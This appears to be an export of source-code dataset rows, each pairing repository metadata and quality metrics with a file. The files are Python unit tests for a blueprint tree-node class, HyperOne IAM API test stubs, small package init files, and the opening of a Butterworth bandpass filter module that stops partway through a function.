0.020485
0.841243
0.828269
0.764083
0.764083
0.764083
0.764083
0
0.061899
0.314208
5,159
165
89
31.266667
0.765969
0.112425
0
0.782609
0
0
0.167016
0
0
0
0
0.012121
0.121739
1
0.052174
false
0
0.034783
0
0.113043
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
8
eefbc8c1dae15357f65bf20a1ef4bd86ed9455e1
32,658
py
Python
api/src/tests/unit/test_tree_node.py
equinor/data-modelling-tool
0c0acc446866ed266711848929e91b316d8a93e5
[ "MIT" ]
null
null
null
api/src/tests/unit/test_tree_node.py
equinor/data-modelling-tool
0c0acc446866ed266711848929e91b316d8a93e5
[ "MIT" ]
33
2022-02-28T07:52:28.000Z
2022-03-31T06:51:15.000Z
api/src/tests/unit/test_tree_node.py
equinor/data-modelling-tool
0c0acc446866ed266711848929e91b316d8a93e5
[ "MIT" ]
null
null
null
import unittest from domain_classes.blueprint import Blueprint from domain_classes.blueprint_attribute import BlueprintAttribute from domain_classes.dto import DTO from domain_classes.tree_node import DictExporter, DictImporter, ListNode, Node from tests.unit.util_tests import flatten_dict from utils.data_structure.compare import pretty_eq blueprint_1 = { "type": "system/SIMOS/Blueprint", "name": "Blueprint1", "description": "First blueprint", "attributes": [ {"attributeType": "string", "type": "system/SIMOS/BlueprintAttribute", "name": "name"}, {"attributeType": "string", "type": "system/SIMOS/BlueprintAttribute", "name": "type"}, {"attributeType": "string", "type": "system/SIMOS/BlueprintAttribute", "name": "description"}, {"attributeType": "blueprint_2", "type": "system/SIMOS/BlueprintAttribute", "name": "nested"}, {"attributeType": "blueprint_2", "type": "system/SIMOS/BlueprintAttribute", "name": "reference"}, { "attributeType": "blueprint_2", "type": "system/SIMOS/BlueprintAttribute", "name": "references", "contained": False, "dimensions": "*", }, ], "storageRecipes": [ { "type": "system/SIMOS/StorageRecipe", "name": "DefaultStorageRecipe", "description": "", "attributes": [{"name": "reference", "type": "system/SIMOS/Entity", "contained": False}], } ], "uiRecipes": [], } blueprint_2 = { "type": "system/SIMOS/Blueprint", "name": "Blueprint2", "description": "Second blueprint", "attributes": [ {"attributeType": "string", "type": "system/SIMOS/BlueprintAttribute", "name": "name"}, {"attributeType": "string", "type": "system/SIMOS/BlueprintAttribute", "name": "type"}, {"attributeType": "string", "type": "system/SIMOS/BlueprintAttribute", "name": "description"}, {"attributeType": "blueprint_3", "type": "system/SIMOS/BlueprintAttribute", "name": "nested"}, ], "storageRecipes": [], "uiRecipes": [], } blueprint_3 = { "type": "system/SIMOS/Blueprint", "name": "Blueprint3", "description": "Second blueprint", "attributes": [ {"attributeType": "string", "type": "system/SIMOS/BlueprintAttribute", "name": "name"}, {"attributeType": "string", "type": "system/SIMOS/BlueprintAttribute", "name": "type"}, {"attributeType": "string", "type": "system/SIMOS/BlueprintAttribute", "name": "description"}, # This have to be optional, or else we will have an infinite loop caused by recursion { "attributeType": "blueprint_2", "type": "system/SIMOS/BlueprintAttribute", "name": "reference", "optional": True, }, ], "storageRecipes": [], "uiRecipes": [], } blueprint_4 = { "type": "system/SIMOS/Blueprint", "name": "Blueprint4", "description": "Second blueprint", "attributes": [ {"attributeType": "string", "type": "system/SIMOS/BlueprintAttribute", "name": "name"}, {"attributeType": "string", "type": "system/SIMOS/BlueprintAttribute", "name": "type"}, {"attributeType": "string", "type": "system/SIMOS/BlueprintAttribute", "name": "description"}, { "attributeType": "blueprint_4", "type": "system/SIMOS/BlueprintAttribute", "name": "a_list", "dimensions": "*", }, ], "storageRecipes": [], "uiRecipes": [], } recursive_blueprint = { "type": "system/SIMOS/Blueprint", "name": "recursive", "description": "Second blueprint", "attributes": [ {"attributeType": "string", "type": "system/SIMOS/BlueprintAttribute", "name": "name"}, {"attributeType": "string", "type": "system/SIMOS/BlueprintAttribute", "name": "type"}, {"attributeType": "string", "type": "system/SIMOS/BlueprintAttribute", "name": "description"}, {"attributeType": "recursive_blueprint", "type": "system/SIMOS/BlueprintAttribute", "name": "im_me!"}, ], } def get_blueprint(type: str): if type == "blueprint_1": return Blueprint(DTO(data=blueprint_1)) if type == "blueprint_2": return Blueprint(DTO(data=blueprint_2)) if type == "blueprint_3": return Blueprint(DTO(data=blueprint_3)) if type == "blueprint_4": return Blueprint(DTO(data=blueprint_4)) if type == "recursive_blueprint": return Blueprint(DTO(data=recursive_blueprint)) return None blueprint_provider = get_blueprint class TreenodeTestCase(unittest.TestCase): def test_is_root(self): root_data = {"_id": 1, "name": "root", "description": "", "type": "blueprint_1"} root = Node( key="root", uid="1", entity=root_data, blueprint_provider=blueprint_provider, attribute=BlueprintAttribute("", "blueprint_1"), ) nested_data = {"name": "Nested", "description": "", "type": "blueprint_2"} nested = Node( key="nested", uid="", entity=nested_data, blueprint_provider=blueprint_provider, parent=root, attribute=BlueprintAttribute("", "blueprint_2"), ) assert root.is_root() assert not nested.is_root() def test_replace(self): root_data = {"_id": 1, "name": "root", "description": "", "type": "blueprint_1"} root = Node( key="root", uid="1", entity=root_data, blueprint_provider=blueprint_provider, attribute=BlueprintAttribute("", "blueprint_1"), ) nested_1_data = {"name": "Nested 1", "description": "", "type": "blueprint_2"} nested_1 = Node( key="nested", uid="", entity=nested_1_data, blueprint_provider=blueprint_provider, parent=root, attribute=BlueprintAttribute("", "blueprint_2"), ) nested_2_data = {"name": "Nested 2", "description": "", "type": "blueprint_2"} nested_2 = Node( key="nested", uid="", entity=nested_2_data, blueprint_provider=blueprint_provider, attribute=BlueprintAttribute("", "blueprint_2"), ) actual_before = { "_id": "1", "name": "root", "description": "", "type": "blueprint_1", "nested": {"name": "Nested 1", "description": "", "type": "blueprint_2"}, } assert actual_before == root.to_dict() root.replace("1.nested", nested_2) actual_after_replaced = { "_id": "1", "name": "root", "description": "", "type": "blueprint_1", "nested": {"name": "Nested 2", "description": "", "type": "blueprint_2"}, } assert actual_after_replaced == root.to_dict() def test_delete_root_child(self): root_data = {"_id": 1, "name": "root", "description": "", "type": "blueprint_1"} root = Node( key="root", uid="1", entity=root_data, blueprint_provider=blueprint_provider, attribute=BlueprintAttribute("", "blueprint_1"), ) nested_1_data = {"name": "Nested 1", "description": "", "type": "blueprint_2"} nested_1 = Node( key="nested", uid="", entity=nested_1_data, blueprint_provider=blueprint_provider, parent=root, attribute=BlueprintAttribute("", "blueprint_2"), ) actual_before = { "_id": "1", "name": "root", "description": "", "type": "blueprint_1", "nested": {"name": "Nested 1", "description": "", "type": "blueprint_2"}, } assert actual_before == root.to_dict() root.remove_by_path(["nested"]) actual_after_delete = {"_id": "1", "name": "root", "description": "", "type": "blueprint_1"} assert actual_after_delete == root.to_dict() def test_delete_nested_child(self): root_data = {"_id": 1, "name": "root", "description": "", "type": "blueprint_1"} root = Node( key="root", uid="1", entity=root_data, blueprint_provider=blueprint_provider, attribute=BlueprintAttribute("", "blueprint_1"), ) nested_1_data = {"name": "Nested 1", "description": "", "type": "blueprint_2"} nested_1 = Node( key="nested", uid="", entity=nested_1_data, blueprint_provider=blueprint_provider, parent=root, attribute=BlueprintAttribute("", "blueprint_2"), ) nested_2_data = {"name": "Nested 2", "description": "", "type": "blueprint_3"} nested_2 = Node( key="nested2", uid="", entity=nested_2_data, blueprint_provider=blueprint_provider, parent=nested_1, attribute=BlueprintAttribute("", "blueprint_3"), ) actual_before = { "_id": "1", "name": "root", "description": "", "type": "blueprint_1", "nested": { "name": "Nested 1", "description": "", "type": "blueprint_2", "nested2": {"name": "Nested 2", "description": "", "type": "blueprint_3"}, }, } assert actual_before == root.to_dict() root.remove_by_path(["nested", "nested2"]) actual_after_delete = { "_id": "1", "name": "root", "description": "", "type": "blueprint_1", "nested": {"name": "Nested 1", "description": "", "type": "blueprint_2"}, } assert actual_after_delete == root.to_dict() def test_delete_list_element_of_nested_child(self): document = { "_id": "1", "name": "root", "description": "", "type": "blueprint_4", "a_list": [ { "name": "Nested 1", "description": "", "type": "blueprint_4", "a_list": [ {"name": "Nested 2 index 0", "description": "", "type": "blueprint_4", "a_list": []}, {"name": "Nested 2 index 1", "description": "", "type": "blueprint_4", "a_list": []}, ], } ], } root = Node.from_dict(document, document.get("_id"), blueprint_provider) actual_before = { "_id": "1", "name": "root", "description": "", "type": "blueprint_4", "a_list": [ { "name": "Nested 1", "description": "", "type": "blueprint_4", "a_list": [ {"name": "Nested 2 index 0", "description": "", "type": "blueprint_4", "a_list": []}, {"name": "Nested 2 index 1", "description": "", "type": "blueprint_4", "a_list": []}, ], } ], } assert actual_before == root.to_dict() root.remove_by_path(["a_list", "0", "a_list", "1"]) actual_after_delete = { "_id": "1", "name": "root", "description": "", "type": "blueprint_4", "a_list": [ { "name": "Nested 1", "description": "", "type": "blueprint_4", "a_list": [{"name": "Nested 2 index 0", "description": "", "type": "blueprint_4", "a_list": []}], } ], } assert actual_after_delete == root.to_dict() def test_depth(self): root_data = {"_id": 1, "name": "root", "description": "", "type": "blueprint_1"} root = Node( key="root", uid="1", entity=root_data, blueprint_provider=blueprint_provider, attribute=BlueprintAttribute("", "blueprint_1"), ) nested_data = {"name": "Nested", "description": "", "type": "blueprint_2"} nested = Node( key="nested", uid="", entity=nested_data, blueprint_provider=blueprint_provider, parent=root, attribute=BlueprintAttribute("", "blueprint_2"), ) assert root.depth() == 0 assert nested.depth() == 1 def test_traverse(self): document_1 = { "_id": "1", "name": "Parent", "description": "", "type": "blueprint_1", "nested": { "name": "Nested 1", "description": "", "type": "blueprint_2", "nested": { "name": "Nested 2", "description": "", "type": "blueprint_3", "reference": {"_id": "2", "name": "Reference", "description": "", "type": "blueprint_2"}, }, }, } root = Node.from_dict(document_1, document_1.get("_id"), blueprint_provider) result = [node.name for node in root.traverse()] # with error nodes # expected = ["Parent", "Nested 1", "Nested 2", "Reference", "nested", "reference", "references"] expected = ["Parent", "Nested 1", "Nested 2", "Reference", "nested", "reference", "nested", "references"] assert result == expected def test_traverse_reverse(self): root_data = {"_id": 1, "name": "root", "description": "", "type": "blueprint_1"} root = Node( key="root", uid="1", entity=root_data, blueprint_provider=blueprint_provider, attribute=BlueprintAttribute("", "blueprint_1"), ) nested_data = {"name": "Nested 1", "description": "", "type": "blueprint_2"} nested = Node( key="nested", uid="", entity=nested_data, blueprint_provider=blueprint_provider, parent=root, attribute=BlueprintAttribute("", "blueprint_2"), ) nested_2_data = {"name": "Nested 2", "description": "", "type": "blueprint_3"} nested_2 = Node( key="nested", uid="", entity=nested_2_data, blueprint_provider=blueprint_provider, parent=nested, attribute=BlueprintAttribute("", "blueprint_3"), ) result = [node.name for node in nested_2.traverse_reverse()] expected = ["Nested 2", "Nested 1", "root"] assert result == expected def test_node_id(self): root_data = {"_id": 1, "name": "root", "description": "", "type": "blueprint_1"} root = Node( key="", uid="1", entity=root_data, blueprint_provider=blueprint_provider, attribute=BlueprintAttribute("", "blueprint_1"), ) assert root.node_id == "1" nested_data = {"name": "Nested", "description": "", "type": "blueprint_2"} nested = Node( key="nested", uid="", entity=nested_data, blueprint_provider=blueprint_provider, parent=root, attribute=BlueprintAttribute("", "blueprint_2"), ) assert nested.node_id == "1.nested" nested_2_data = {"name": "Nested", "description": "", "type": "blueprint_3"} nested_2 = Node( key="nested", uid="", entity=nested_2_data, blueprint_provider=blueprint_provider, parent=nested, attribute=BlueprintAttribute("", "blueprint_3"), ) assert nested_2.node_id == "1.nested.nested" assert nested_2.node_id == "1.nested.nested" nested_2_reference_data = {"_id": "2", "name": "Reference", "description": "", "type": "blueprint_2"} reference = Node( key="reference", uid="2", entity=nested_2_reference_data, blueprint_provider=blueprint_provider, parent=nested_2, attribute=BlueprintAttribute("", "blueprint_2", contained=False), ) assert reference.node_id == "1.nested.nested.reference" list_data = {"name": "List", "type": "blueprint_3"} list_node = ListNode( key="list", uid="", entity=list_data, blueprint_provider=blueprint_provider, parent=root, attribute=BlueprintAttribute("", "blueprint_1"), ) item_1_data = {"name": "Item 1", "description": "", "type": "blueprint_2"} item_1 = Node( key="0", uid="", entity=item_1_data, blueprint_provider=blueprint_provider, parent=list_node, attribute=BlueprintAttribute("", "blueprint_2"), ) assert list_node.node_id == "1.list" assert item_1.node_id == "1.list.0" references = ListNode( key="references", uid="", entity={"name": "List", "type": "blueprint_2"}, blueprint_provider=blueprint_provider, parent=root, # ListNodes blueprint must be the same as the parent node attribute=BlueprintAttribute("", "blueprint_1", contained=False), ) item_1_in_references = Node( key="0", uid="", entity=item_1_data, blueprint_provider=blueprint_provider, parent=references, attribute=BlueprintAttribute("", "blueprint_2", contained=False), ) assert item_1_in_references.node_id == "1.references.0" def test_search(self): document_1 = { "_id": "1", "name": "Parent", "description": "", "type": "blueprint_1", "nested": { "name": "Nested", "description": "", "type": "blueprint_2", "nested": { "name": "Nested", "description": "", "type": "blueprint_3", "reference": {"_id": "2", "name": "Reference", "description": "", "type": "blueprint_2"}, }, }, } root = Node.from_dict(document_1, document_1.get("_id"), blueprint_provider) child_1 = root.search("1.nested.nested") assert child_1.node_id == "1.nested.nested" child_2 = root.search("1.nested.nested.reference") assert child_2.node_id == "1.nested.nested.reference" def test_get_by_keys(self): document_1 = { "_id": "1", "name": "Parent", "description": "", "type": "blueprint_1", "nested": { "name": "Nested", "description": "", "type": "blueprint_2", "nested": { "name": "Nested", "description": "", "type": "blueprint_3", "reference": {"_id": "2", "name": "Reference", "description": "", "type": "blueprint_2"}, }, }, } root = Node.from_dict(document_1, document_1.get("_id"), blueprint_provider) child_1 = root.get_by_path(["nested", "nested"]) assert child_1.node_id == "1.nested.nested" child_2 = root.get_by_path(["nested", "nested", "reference"]) assert child_2.uid == "2" def test_update(self): document_1 = { "_id": "1", "name": "Parent", "description": "", "type": "blueprint_1", "nested": { "name": "Nested", "description": "", "type": "blueprint_2", "nested": { "name": "Nested", "description": "", "type": "blueprint_3", "reference": {"_id": "2", "name": "Reference", "description": "", "type": "blueprint_2"}, }, }, } root = Node.from_dict(document_1, document_1.get("_id"), blueprint_provider) update_0 = { "name": "New name", "description": "", "type": "blueprint_1", "nested": { "name": "Nested", "description": "Some description", "type": "blueprint_2", "nested": { "name": "Nested", "description": "", "type": "blueprint_3", "reference": {"_id": "2", "name": "Reference", "description": "", "type": "blueprint_2"}, }, }, } root.update(update_0) assert pretty_eq(update_0, root.to_dict()) is None update_1 = { "name": "New name", "description": "", "type": "blueprint_1", "nested": { "name": "Nested", "description": "Some description", "type": "blueprint_2", "nested": { "name": "New name", "description": "", "type": "blueprint_3", "reference": {"_id": "2", "name": "Reference", "description": "", "type": "blueprint_2"}, }, }, } root.update(update_1) assert pretty_eq(update_1, root.to_dict()) is None update_2 = { "name": "New name", "description": "", "type": "blueprint_1", "nested": { "name": "Nested", "description": "Some description", "type": "blueprint_2", "nested": { "name": "New name", "description": "", "type": "blueprint_3", "reference": {"_id": "2", "name": "New name", "description": "", "type": "blueprint_2"}, }, }, } root.update(update_2) assert pretty_eq(update_2, root.to_dict()) is None actual = { "_id": "1", "name": "New name", "type": "blueprint_1", "description": "", "nested": { "name": "Nested", "type": "blueprint_2", "description": "Some description", "nested": { "name": "New name", "type": "blueprint_3", "description": "", "reference": {"_id": "2", "name": "New name", "type": "blueprint_2", "description": ""}, }, }, } # reference and nested.nested.reference has uid and id generated since the tree now includes # nodes when attributes are missing, needed for having error nodes in the index. actual_flat = flatten_dict(actual) expected_flat = flatten_dict(root.to_dict()) # less than only works on flat dictionaries. assert actual_flat.items() <= expected_flat.items() def test_from_dict(self): document_1 = { "_id": "1", "name": "Parent", "description": "", "type": "blueprint_1", "nested": { "name": "Nested", "description": "", "type": "blueprint_2", "_blueprint": blueprint_2, "nested": { "name": "Nested", "description": "", "type": "blueprint_3", "_blueprint": blueprint_3, "reference": { "_id": "5", "name": "Reference", "description": "", "type": "blueprint_2", "_blueprint": blueprint_2, }, }, }, "reference": { "_id": "2", "name": "Reference", "description": "", "type": "blueprint_2", "_blueprint": blueprint_2, }, "references": [ { "_id": "3", "name": "Reference 1", "description": "", "type": "blueprint_2", "_blueprint": blueprint_2, }, { "_id": "4", "name": "Reference 2", "description": "", "type": "blueprint_2", "_blueprint": blueprint_2, }, ], "_blueprint": blueprint_1, } root = Node.from_dict(document_1, document_1.get("_id"), blueprint_provider) actual = { "_id": "1", "name": "Parent", "description": "", "type": "blueprint_1", "nested": { "name": "Nested", "description": "", "type": "blueprint_2", "nested": { "name": "Nested", "description": "", "type": "blueprint_3", "reference": {"_id": "5", "name": "Reference", "description": "", "type": "blueprint_2"}, }, }, "reference": {"_id": "2", "name": "Reference", "description": "", "type": "blueprint_2"}, "references": [ {"_id": "3", "name": "Reference 1", "description": "", "type": "blueprint_2"}, {"_id": "4", "name": "Reference 2", "description": "", "type": "blueprint_2"}, ], } assert pretty_eq(actual, root.to_dict()) is None def test_recursive_from_dict(self): document_1 = {"_id": "1", "name": "Parent", "description": "", "type": "recursive_blueprint", "im_me!": {}} with self.assertRaises(RecursionError): Node.from_dict(document_1, document_1.get("_id"), blueprint_provider) def test_from_dict_using_dict_importer(self): document_1 = { "_id": "1", "name": "Parent", "description": "", "type": "blueprint_1", "nested": { "name": "Nested", "description": "", "type": "blueprint_2", "_blueprint": blueprint_2, "nested": { "name": "Nested", "description": "", "type": "blueprint_3", "_blueprint": blueprint_3, "reference": { "_id": "5", "name": "Reference", "description": "", "type": "blueprint_2", "_blueprint": blueprint_2, }, }, }, "reference": { "_id": "2", "name": "Reference", "description": "", "type": "blueprint_2", "_blueprint": blueprint_2, }, "references": [ { "_id": "3", "name": "Reference 1", "description": "", "type": "blueprint_2", "_blueprint": blueprint_2, }, { "_id": "4", "name": "Reference 2", "description": "", "type": "blueprint_2", "_blueprint": blueprint_2, }, ], "_blueprint": blueprint_1, } actual = { "_id": "1", "name": "Parent", "description": "", "type": "blueprint_1", "nested": { "name": "Nested", "description": "", "type": "blueprint_2", "nested": { "name": "Nested", "description": "", "type": "blueprint_3", "reference": {"_id": "5", "name": "Reference", "description": "", "type": "blueprint_2"}, }, }, "reference": {"_id": "2", "name": "Reference", "description": "", "type": "blueprint_2"}, "references": [ {"_id": "3", "name": "Reference 1", "description": "", "type": "blueprint_2"}, {"_id": "4", "name": "Reference 2", "description": "", "type": "blueprint_2"}, ], } root = DictImporter.from_dict(document_1, document_1.get("_id"), blueprint_provider) assert pretty_eq(actual, root.to_dict()) is None def test_to_dict(self): root_data = {"_id": 1, "name": "root", "description": "", "type": "blueprint_1"} root = Node( key="root", uid="1", entity=root_data, blueprint_provider=blueprint_provider, attribute=BlueprintAttribute("", "blueprint_1"), ) nested_data = {"name": "Nested", "description": "", "type": "blueprint_2"} nested = Node( key="nested", uid="", entity=nested_data, blueprint_provider=blueprint_provider, parent=root, attribute=BlueprintAttribute("", "blueprint_2"), ) nested_2_data = {"name": "Nested", "description": "", "type": "blueprint_3"} nested_2 = Node( key="nested", uid="", entity=nested_2_data, blueprint_provider=blueprint_provider, parent=nested, attribute=BlueprintAttribute("", "blueprint_3"), ) nested_2_reference_data = {"_id": "2", "name": "Reference", "description": "", "type": "blueprint_2"} Node( key="reference", uid="2", entity=nested_2_reference_data, blueprint_provider=blueprint_provider, parent=nested_2, attribute=BlueprintAttribute("", "blueprint_2"), ) list_data = {"name": "List", "type": "blueprint_3"} list_node = ListNode( key="list", uid="", entity=list_data, parent=root, blueprint_provider=blueprint_provider, attribute=BlueprintAttribute("", "blueprint_3"), ) item_1_data = {"name": "Item 1", "description": "", "type": "blueprint_2"} item_1 = Node( key="0", uid="", entity=item_1_data, blueprint_provider=blueprint_provider, parent=list_node, attribute=BlueprintAttribute("", "blueprint_2"), ) actual_root = { "_id": "1", "name": "root", "description": "", "type": "blueprint_1", "nested": { "name": "Nested", "description": "", "type": "blueprint_2", "nested": { "name": "Nested", "description": "", "type": "blueprint_3", "reference": {"_id": "2", "name": "Reference", "description": "", "type": "blueprint_2"}, }, }, "list": [{"name": "Item 1", "description": "", "type": "blueprint_2"}], } self.assertEqual(actual_root, DictExporter.to_dict(root)) actual_nested = { "name": "Nested", "description": "", "type": "blueprint_2", "nested": { "name": "Nested", "description": "", "type": "blueprint_3", "reference": {"_id": "2", "name": "Reference", "description": "", "type": "blueprint_2"}, }, } self.assertEqual(actual_nested, nested.to_dict()) item_1_actual = {"name": "Item 1", "description": "", "type": "blueprint_2"} self.assertEqual(item_1_actual, item_1.to_dict())
34.55873
117
0.471921
2,695
32,658
5.480891
0.057885
0.109133
0.183603
0.098165
0.843274
0.798321
0.77334
0.751472
0.740099
0.713493
0
0.019915
0.369618
32,658
944
118
34.595339
0.697576
0.014238
0
0.707581
0
0
0.26068
0.027746
0
0
0
0
0.043321
1
0.020457
false
0
0.01083
0
0.039711
0.311673
0
0
0
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
0106dde99ced7a364196fcbd5d388bc6a34304dd
1,007
py
Python
exosyspop/__init__.py
timothydmorton/fppop
e4f54288f3026a19f3f124191dbbbceb5e5110a0
[ "MIT" ]
null
null
null
exosyspop/__init__.py
timothydmorton/fppop
e4f54288f3026a19f3f124191dbbbceb5e5110a0
[ "MIT" ]
null
null
null
exosyspop/__init__.py
timothydmorton/fppop
e4f54288f3026a19f3f124191dbbbceb5e5110a0
[ "MIT" ]
null
null
null
__version__ = '0.1' try: __EXOSYSPOP_SETUP__ except NameError: __EXOSYSPOP_SETUP__ = False if not __EXOSYSPOP_SETUP__: __all__=['BinaryPopulation', 'PowerLawBinaryPopulation', 'KeplerBinaryPopulation', 'KeplerPowerLawBinaryPopulation', 'BlendedBinaryPopulation', 'TRILEGAL_BinaryPopulation', 'BGBinaryPopulation', 'TRILEGAL_BGBinaryPopulation', 'PlanetPopulation', 'PoissonPlanetPopulation', 'PopulationMixture'] from .populations import (BinaryPopulation, PowerLawBinaryPopulation, KeplerBinaryPopulation, KeplerPowerLawBinaryPopulation, BlendedBinaryPopulation, TRILEGAL_BinaryPopulation, BGBinaryPopulation, TRILEGAL_BGBinaryPopulation, PlanetPopulation, PoissonPlanetPopulation, PopulationMixture)
34.724138
85
0.603774
45
1,007
12.911111
0.555556
0.072289
0.213425
0.316695
0.822719
0.822719
0.822719
0.822719
0.822719
0.822719
0
0.003012
0.340616
1,007
28
86
35.964286
0.871988
0
0
0
0
0
0.242545
0.172962
0
0
0
0
0
1
0
false
0
0.043478
0
0.043478
0
0
0
1
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
0196f1babf6f65e86e11fd160c062ed4c3af0d62
68
py
Python
src/world/world.py
bingrao/object-oriented-design
a7957ae26c234ea8a3ccf9c3128c9f6617a26c44
[ "BSD-2-Clause" ]
1
2021-12-01T18:32:39.000Z
2021-12-01T18:32:39.000Z
src/world/world.py
bingrao/object-oriented-design
a7957ae26c234ea8a3ccf9c3128c9f6617a26c44
[ "BSD-2-Clause" ]
null
null
null
src/world/world.py
bingrao/object-oriented-design
a7957ae26c234ea8a3ccf9c3128c9f6617a26c44
[ "BSD-2-Clause" ]
null
null
null
from . import helpers def printworld(): helpers.printpretty()
13.6
22
0.705882
7
68
6.857143
0.857143
0
0
0
0
0
0
0
0
0
0
0
0.191176
68
5
23
13.6
0.872727
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
true
0
0.333333
0
0.666667
0.666667
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
1
0
7
6d7181945fc07ba2a860f54e628cc4bff1d1ed91
3,733
py
Python
test/test_iam_project_role_api.py
hyperonecom/h1-client-python
4ce355852ba3120ec1b8f509ab5894a5c08da730
[ "MIT" ]
null
null
null
test/test_iam_project_role_api.py
hyperonecom/h1-client-python
4ce355852ba3120ec1b8f509ab5894a5c08da730
[ "MIT" ]
null
null
null
test/test_iam_project_role_api.py
hyperonecom/h1-client-python
4ce355852ba3120ec1b8f509ab5894a5c08da730
[ "MIT" ]
null
null
null
""" HyperOne HyperOne API # noqa: E501 The version of the OpenAPI document: 0.1.0 Generated by: https://openapi-generator.tech """ import unittest import h1 from h1.api.iam_project_role_api import IamProjectRoleApi # noqa: E501 class TestIamProjectRoleApi(unittest.TestCase): """IamProjectRoleApi unit test stubs""" def setUp(self): self.api = IamProjectRoleApi() # noqa: E501 def tearDown(self): pass def test_iam_project_role_create(self): """Test case for iam_project_role_create Create iam/role # noqa: E501 """ pass def test_iam_project_role_delete(self): """Test case for iam_project_role_delete Delete iam/role # noqa: E501 """ pass def test_iam_project_role_event_get(self): """Test case for iam_project_role_event_get Get iam/role.event # noqa: E501 """ pass def test_iam_project_role_event_list(self): """Test case for iam_project_role_event_list List iam/role.event # noqa: E501 """ pass def test_iam_project_role_get(self): """Test case for iam_project_role_get Get iam/role # noqa: E501 """ pass def test_iam_project_role_list(self): """Test case for iam_project_role_list List iam/role # noqa: E501 """ pass def test_iam_project_role_permission_create(self): """Test case for iam_project_role_permission_create Create iam/role.permission # noqa: E501 """ pass def test_iam_project_role_permission_delete(self): """Test case for iam_project_role_permission_delete Delete iam/role.permission # noqa: E501 """ pass def test_iam_project_role_permission_get(self): """Test case for iam_project_role_permission_get Get iam/role.permission # noqa: E501 """ pass def test_iam_project_role_permission_list(self): """Test case for iam_project_role_permission_list List iam/role.permission # noqa: E501 """ pass def test_iam_project_role_permission_put(self): """Test case for iam_project_role_permission_put Replace iam/role.permission # noqa: E501 """ pass def test_iam_project_role_service_get(self): """Test case for iam_project_role_service_get Get iam/role.service # noqa: E501 """ pass def test_iam_project_role_service_list(self): """Test case for iam_project_role_service_list List iam/role.service # noqa: E501 """ pass def test_iam_project_role_tag_create(self): """Test case for iam_project_role_tag_create Create iam/role.tag # noqa: E501 """ pass def test_iam_project_role_tag_delete(self): """Test case for iam_project_role_tag_delete Delete iam/role.tag # noqa: E501 """ pass def test_iam_project_role_tag_get(self): """Test case for iam_project_role_tag_get Get iam/role.tag # noqa: E501 """ pass def test_iam_project_role_tag_list(self): """Test case for iam_project_role_tag_list List iam/role.tag # noqa: E501 """ pass def test_iam_project_role_tag_put(self): """Test case for iam_project_role_tag_put Replace iam/role.tag # noqa: E501 """ pass def test_iam_project_role_update(self): """Test case for iam_project_role_update Update iam/role # noqa: E501 """ pass if __name__ == '__main__': unittest.main()
23.04321
71
0.626574
482
3,733
4.495851
0.105809
0.179972
0.251961
0.12275
0.79234
0.756807
0.74527
0.731887
0.414398
0.397323
0
0.026976
0.294937
3,733
161
72
23.186335
0.796353
0.440664
0
0.416667
1
0
0.004878
0
0
0
0
0
0
1
0.4375
false
0.416667
0.0625
0
0.520833
0
0
0
0
null
0
1
0
0
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
1
0
1
0
0
1
0
0
8
6da3c90ae9416b28f4e430029045735461ea20da
96
py
Python
shop_simplenotifications/tests/__init__.py
arteria/django-shop-simplenotifications
59ff3dc7f84153df4a8d9d5df20d729084067303
[ "Unlicense" ]
null
null
null
shop_simplenotifications/tests/__init__.py
arteria/django-shop-simplenotifications
59ff3dc7f84153df4a8d9d5df20d729084067303
[ "Unlicense" ]
null
null
null
shop_simplenotifications/tests/__init__.py
arteria/django-shop-simplenotifications
59ff3dc7f84153df4a8d9d5df20d729084067303
[ "Unlicense" ]
null
null
null
from .test_models import ConfirmedTestCase from .test_models import PaymentInstructionsTestCase
32
52
0.895833
10
96
8.4
0.6
0.190476
0.333333
0.47619
0
0
0
0
0
0
0
0
0.083333
96
2
53
48
0.954545
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
6dd75b23ed36bab7d3c4eacd4d57be9399568f68
13,870
py
Python
splearn/filter/butterworth.py
jinglescode/python-signal-processing
c3de02b12905f14a2350377d7f4a868bd7a40bc7
[ "BSD-3-Clause" ]
10
2020-12-24T09:27:06.000Z
2021-12-09T14:48:10.000Z
splearn/filter/butterworth.py
jinglescode/python-signal-processing
c3de02b12905f14a2350377d7f4a868bd7a40bc7
[ "BSD-3-Clause" ]
null
null
null
splearn/filter/butterworth.py
jinglescode/python-signal-processing
c3de02b12905f14a2350377d7f4a868bd7a40bc7
[ "BSD-3-Clause" ]
3
2021-11-09T21:06:15.000Z
2022-03-28T09:08:41.000Z
# -*- coding: utf-8 -*- """Digital filter bandpass zero-phase implementation (filtfilt). Apply a digital filter forward and backward to a signal. """ import numpy as np import matplotlib.pyplot as plt from scipy.signal import butter, filtfilt, sosfiltfilt, freqz from splearn.fourier import fast_fourier_transform def butter_bandpass_filter(signal, lowcut, highcut, sampling_rate, order=4, verbose=False): r""" Digital filter bandpass zero-phase implementation (filtfilt) Apply a digital filter forward and backward to a signal Args: signal : ndarray, shape (trial,channel,time) Input signal by trials in time domain lowcut : int Lower bound filter highcut : int Upper bound filter sampling_rate : int Sampling frequency order : int, default: 4 Order of the filter verbose : boolean, default: False Print and plot details Returns: y : ndarray Filter signal """ sos = _butter_bandpass(lowcut, highcut, sampling_rate, order=order, output='sos') y = sosfiltfilt(sos, signal, axis=2) if verbose: tmp_x = signal[0, 0] tmp_y = y[0, 0] # time domain plt.plot(tmp_x, label='signal') plt.show() plt.plot(tmp_y, label='Filtered') plt.show() # freq domain lower_xlim = lowcut-10 if (lowcut-10) > 0 else 0 fast_fourier_transform( tmp_x, sampling_rate, plot=True, plot_xlim=[lower_xlim, highcut+20], plot_label='Signal') 